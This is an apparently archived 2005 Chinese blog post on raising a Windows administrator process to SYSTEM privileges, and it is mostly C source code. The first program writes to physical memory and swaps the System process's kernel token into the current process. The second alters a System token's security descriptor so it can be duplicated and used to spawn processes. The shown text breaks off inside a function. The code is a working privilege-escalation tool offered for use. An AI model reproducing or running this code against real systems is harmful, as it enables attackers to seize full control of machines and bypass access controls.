管理员组获取系统权限的完美解决方案

Windows安全——访问控制概述 Windows安全模型 阅读详情

理员组获取系统权限的完美解决方案

Author : ZwelL
Blog   : http://www.donews.net/zwell
Date   : 2005.4.28

    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
                                    |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG  NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS    Status;
    ULONG        Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR        Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT             0x00000002L
#define OBJ_PERMANENT           0x00000010L
#define OBJ_EXCLUSIVE           0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF              0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE       0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG        Length;
    HANDLE        RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG        Attributes;
    PVOID        SecurityDescriptor;
    PVOID        SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef struct _SYSTEM_MODULE_INFORMATION
{
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE  SectionHandle,
    IN  ACCESS_MASK  DesiredAccess,
    IN  POBJECT_ATTRIBUTES  ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                
    IN OUT PUNICODE_STRING  DestinationString,
    IN PCWSTR  SourceString
    );

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING        RtlInitUnicodeString;
ZWOPENSECTION            ZwOpenSection;
ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
HMODULE    g_hNtDLL = NULL;
PVOID     g_pMapPhysicalMemory = NULL;
HANDLE     g_hMPM     = NULL;

BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary( "ntdll.dll" );
    if ( !g_hNtDLL )
    {
        return FALSE;
    }

    RtlInitUnicodeString =
        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

    ZwOpenSection =
        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    return TRUE;
}

VOID CloseNTDLL()
{
    if(g_hNtDLL != NULL)
    {
        FreeLibrary(g_hNtDLL);
    }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;

    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";


    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

CleanUp:

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
    NTSTATUS        status;
    UNICODE_STRING        physmemString;
    OBJECT_ATTRIBUTES    attributes;

    RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );

    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory        = NULL;
    attributes.ObjectName            = &physmemString;
    attributes.Attributes            = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

    if(status == STATUS_ACCESS_DENIED){
        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
    }

    if( !NT_SUCCESS( status ))
    {
        return NULL;
    }

    g_pMapPhysicalMemory = MapViewOfFile(
        g_hMPM,
        4,
        0,
        0x30000,
        0x1000);
    if( g_pMapPhysicalMemory == NULL )
    {
        return NULL;
    }

    return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
    if(VAddr>=0x80000000 && VAddr<0xa0000000)
    {
        PAddr=VAddr-0x80000000;
        return (PVOID)PAddr;
    }
    PGDE=BaseAddress[VAddr>>22];
    if ((PGDE&1)!=0)
    {
        ULONG tmp=PGDE&0x00000080;
        if (tmp!=0)
        {
            PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
        }
        else
        {
            PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
            PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
            if ((PTE&1)!=0)
            {
                PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
                UnmapViewOfFile((PVOID)PGDE);
            }
            else return 0;
        }
    }
    else return 0;

    return (PVOID)PAddr;
}



ULONG GetData(PVOID addr)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
    if (tmp==0)
        return 0;
    ULONG ret=tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);
    return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
    if (tmp==0)
        return FALSE;
    tmp[(phys & 0xFFF)>>2]=data;
    UnmapViewOfFile(tmp);
    return TRUE;
}

DWORD MyGetModuleBaseAddress( char * pModuleName)
{
    PSYSTEM_MODULE_INFORMATION    pSysModule;    

    ULONG            uReturn;
    ULONG            uCount;
    PCHAR            pBuffer = NULL;
    PCHAR            pName    = NULL;
    NTSTATUS        status;
    UINT            ui;
    CHAR            szBuffer[10];
    DWORD            pBaseAddress;

    status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
    pBuffer = ( PCHAR )malloc(uReturn);
    if ( pBuffer )
    {
        status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
        if( NT_SUCCESS(status) )
        {
            uCount = ( ULONG )*( ( ULONG * )pBuffer );
            pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
            for ( ui = 0; ui < uCount; ui++ )
            {
                pName = strstr( pSysModule->ImageName, pModuleName );
                if( pName )
                {
                    pBaseAddress = (DWORD)pSysModule->Base;
                    free( pBuffer );
                    return pBaseAddress;
                }
                pSysModule ++;
            }
        }

        free( pBuffer );
    }

    return NULL;
}

DWORD GetEprocessFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    DWORD    n;
    DWORD    retvalue=0;

    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong/n");
        return FALSE;
    }
    status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong/n");
            return FALSE;
        }
        status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong/n");
        return FALSE;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
            if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))
            {
                retvalue=(DWORD)(h_info[i].Object);
                break;
            }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return retvalue;
}

void usage(char *exe)
{
    printf("Usage : %s [exefile|-h]/n");
}

int main(int argc, char **argv)
{
    HMODULE hDll;
    DWORD tmp;
    DWORD SystemEprocess;
    DWORD SystemEprocessTokenValue;
    DWORD CurrentEprocess;
    DWORD CurrentEprocessTokenValue;

    printf("/nIt is intended to get SYSTEM privilege from administrators group./n");
    printf("/tMade by ZwelL./n");
    printf("/tZwell@sohu.com./n");
    printf("/thttp://www.donews.net/zwell./n");
    printf("/tType -h to get more information/n", argv[0]);

    if( argc>=2)
    {
        if(
            ( (strcmp(argv[1],"-h")==0) && (argc==2))
            || (argc>2)
          )
        {
            usage(argv[0]);
            exit(-1);
        }
    }

    if (!InitNTDLL())
    {
        printf("InitNTDLL wrong/n");
        exit(-1);
    }

    if (OpenPhysicalMemory()==0)
    {
        printf("OpenPhysicalMemory wrong/n");
        exit(-1);
    }

    hDll = LoadLibrary("ntoskrnl.exe");
    tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
    tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
    SystemEprocess=GetData((PVOID)tmp);
    tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
    SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM's Token
    printf("System Process Token : 0x%08X/n", SystemEprocessTokenValue);

    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
    CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
    CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

    printf("Current EPROCESS : %08x/n", CurrentEprocess);
    printf("Current Process Token : %08x/nPress ENTER to continue.../n",
        CurrentEprocessTokenValue);
    //getchar();
    SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
    printf("Current Process Token : %08x/n",
        GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
    printf("Press ENTER to create process.../n");
    //getchar();

    if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
        == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))  
        )
        // It is so surprised that SYSTEM's Token always in changing.
        // So before create new process, we should ensure the TOKEN is all right
    {
        ShellExecute(NULL, "open", (argc==2)?argv[1]:"c://windows//regedit.exe", NULL, NULL, SW_SHOWNORMAL);
    }
    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();

    return 0;
}



在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
    HANDLE hSnapshot = NULL;
    HANDLE hProc     = NULL;

    __try
    {
        // Get a snapshot of the processes in the system
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == NULL)
        {
            printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
            __leave;
        }

        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);

        // Find the "System" process
        BOOL fProcess = Process32First(hSnapshot, &pe32);
        while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
            fProcess = Process32Next(hSnapshot, &pe32);
        if (!fProcess)
        {
            printf("OpenSystemProcess Not Found SYSTEM");
            __leave;    // Didn't find "System" process
        }

        // Open the process with PROCESS_QUERY_INFORMATION access
        hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
            pe32.th32ProcessID);
        if (hProc == NULL)
        {
            printf("OpenSystemProcess OpenProcess Failed");
            __leave;
        }
    }
    __finally
    {
        // Cleanup the snapshot
       if (hSnapshot != NULL)
           CloseHandle(hSnapshot);
       return(hProc);
    }
}

BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;
    
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
    );
    
    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
    );
    
    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
    );
    rv = GetLastError () == ERROR_SUCCESS;
    
    CloseHandle (hToken);
    return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
    PACL pAcl        = NULL;
    PACL pNewAcl     = NULL;
    PACL pSacl       = NULL;
    PSID pSidOwner   = NULL;
    PSID pSidPrimary = NULL;
    BOOL fSuccess    = TRUE;

    PSECURITY_DESCRIPTOR pSD = NULL;

    __try
    {
        // Find the length of the security object for the kernel object
        DWORD dwSDLength;
        if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
            &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity GetKernelObjectSecurity Size Failed");
            __leave;
        }

        // Allocate a buffer of that length
        pSD = LocalAlloc(LPTR, dwSDLength);
        if (pSD == NULL)
        {
            printf("ModifySecurity LocalAlloc Failed");
            __leave;
        }

        // Retrieve the kernel object
        if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
            dwSDLength, &dwSDLength))
        {
            printf("ModifySecurity GetKernelObjectSecurity Failed");
            __leave;
        }

        // Get a pointer to the DACL of the SD
        BOOL fDaclPresent;
        BOOL fDaclDefaulted;
        if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
            &fDaclDefaulted))
        {
            printf("ModifySecurity GetSecurityDescriptorDacl Failed");
            __leave;
        }

        // Get the current user's name
        TCHAR szName[1024];
        DWORD dwLen = chDIMOF(szName);
        if (!GetUserName(szName, &dwLen))
        {
            printf("ModifySecurity GetUserName Failed");
            __leave;
        }

        // Build an EXPLICIT_ACCESS structure for the ace we wish to add.
        EXPLICIT_ACCESS ea;
        BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
        ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

        // We are allocating a new ACL with a new ace inserted.  The new
        // ACL must be LocalFree'd
        if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
        {
            printf("ModifySecurity SetEntriesInAcl Failed");
            pNewAcl = NULL;
            __leave;
        }

        // Find the buffer sizes we would need to make our SD absolute
        pAcl               = NULL;
        dwSDLength         = 0;
        DWORD dwAclSize    = 0;
        DWORD dwSaclSize   = 0;
        DWORD dwSidOwnLen  = 0;
        DWORD dwSidPrimLen = 0;
        PSECURITY_DESCRIPTOR pAbsSD = NULL;
        if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
            || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity MakeAbsoluteSD Size Failed");
            __leave;
        }

        // Allocate the buffers
        pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
        pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
        pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
        pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
        pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
        if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
        {
            printf("ModifySecurity Invalid SID Found");
            __leave;
        }

        // And actually make our SD absolute
        if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
        {
            printf("ModifySecurity MakeAbsoluteSD Failed");
            __leave;
        }

        // Now set the security descriptor DACL
        if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
            fDaclDefaulted))
        {
            printf("ModifySecurity SetSecurityDescriptorDacl Failed");
            __leave;
        }

        // And set the security for the object
        if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
        {
            printf("ModifySecurity SetKernelObjectSecurity Failed");
            __leave;
        }

        fSuccess = TRUE;

    }
    __finally
    {
        // Cleanup
        if (pNewAcl == NULL)
            LocalFree(pNewAcl);

        if (pSD == NULL)
            LocalFree(pSD);

        if (pAcl == NULL)
            LocalFree(pAcl);

        if (pSacl == NULL)
            LocalFree(pSacl);

        if (pSidOwner == NULL)
            LocalFree(pSidOwner);

        if (pSidPrimary == NULL)
            LocalFree(pSidPrimary);

        if(!fSuccess)
        {
            printf("ModifySecurity exception caught in __finally");
        }

        return(fSuccess);
    }
}

HANDLE GetLSAToken()
{
    HANDLE hProc  = NULL;
    HANDLE hToken = NULL;
    BOOL bSuccess = FALSE;
    __try
    {
        // Enable the SE_DEBUG_NAME privilege in our process token
        if (!EnablePrivilege(SE_DEBUG_NAME))
        {
            printf("GetLSAToken EnablePrivilege Failed");
            __leave;
        }

        // Retrieve a handle to the "System" process
        hProc = OpenSystemProcess();
        if(hProc == NULL)
        {
            printf("GetLSAToken OpenSystemProcess Failed");
            __leave;
        }

        // Open the process token with READ_CONTROL and WRITE_DAC access.  We
        // will use this access to modify the security of the token so that we
        // retrieve it again with a more complete set of rights.
        BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
            &hToken);
        if(FALSE == fResult)  
        {
            printf("GetLSAToken OpenProcessToken Failed");
            __leave;
        }

        // Add an ace for the current user for the token.  This ace will add
        // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
        if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
            | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
        {
            printf("GetLSAToken ModifySecurity Failed");
            __leave;
        }
        

        // Reopen the process token now that we have added the rights to
        // query the token, duplicate it, and assign it.
        fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
            | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
        if (FALSE == fResult)  
        {
            printf("GetLSAToken OpenProcessToken Failed");
            __leave;
        }
        bSuccess = TRUE;
    }
    __finally
    {
        // Close the System process handle
        if (hProc != NULL)    CloseHandle(hProc);
        if(bSuccess)
            return hToken;
        else
        {
            ::CloseHandle(hToken);
            return NULL;
        }
    }
}

#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | /
        DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | /
        DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | /
        DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES |  /
    WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | /
        WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | /
        WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | /
        WINSTA_READSCREEN | /
        STANDARD_RIGHTS_REQUIRED)

#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    BOOL                ret=FALSE;

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
            {
                //*ppsid = pProcessInfo[CurrentProcess].pUserSid;
                DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
                *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                            HEAP_ZERO_MEMORY, dwLength);
                if (*ppsid == NULL)
                    break;
                if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
                {
                    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
                    break;
                }
                ret=TRUE;
                break;
            }
        }

        WTSFreeMemory(pProcessInfo);
    }

    return ret;
}

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
{
   BOOL bSuccess = FALSE;
   DWORD dwIndex;
   DWORD dwLength = 0;
   PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL.
    if (NULL == ppsid)
        goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

   if (!GetTokenInformation(
         hToken,         // handle to the access token
         TokenGroups,    // get information about the token's groups
         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
         0,              // size of buffer
         &dwLength       // receives required buffer size
      ))
   {
      if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
         goto Cleanup;

      ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
         HEAP_ZERO_MEMORY, dwLength);

      if (ptg == NULL)
         goto Cleanup;
   }


// Get the token group information from the access token.

   if (!GetTokenInformation(
         hToken,         // handle to the access token
         TokenGroups,    // get information about the token's groups
         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
         dwLength,       // size of buffer
         &dwLength       // receives required buffer size
         ))
   {
      goto Cleanup;
   }

// Loop through the groups to find the logon SID.

   for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
      if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
             ==  SE_GROUP_LOGON_ID)
      {
      // Found the logon SID; make a copy of it.

         dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
         *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                     HEAP_ZERO_MEMORY, dwLength);
         if (*ppsid == NULL)
             goto Cleanup;
         if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
         {
             HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
             goto Cleanup;
         }
         break;
      }

   bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

   if (ptg != NULL)
      HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

   return bSuccess;
}




VOID FreeLogonSID (PSID *ppsid)
{
    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}


BOOL StartInteractiveClientProcess (
    LPTSTR lpszUsername,    // client to log on
    LPTSTR lpszDomain,      // domain of client's account
    LPTSTR lpszPassword,    // client's password
    LPTSTR lpCommandLine,    // command line to execute
    HANDLE Token = NULL
)
{
   HANDLE      hToken;
   HDESK       hdesk = NULL;
   HWINSTA     hwinsta = NULL, hwinstaSave = NULL;
   PROCESS_INFORMATION pi;
   PSID pSid = NULL;
   STARTUPINFO si;
   BOOL bResult = FALSE;

// Log the client on to the local computer.

   if(Token!=NULL)
   {
       printf("%08x/n", Token);
       hToken = Token;
   }
   else if (!LogonUser(
           lpszUsername,
           lpszDomain,
           lpszPassword,
           LOGON32_LOGON_INTERACTIVE,
           LOGON32_PROVIDER_DEFAULT,
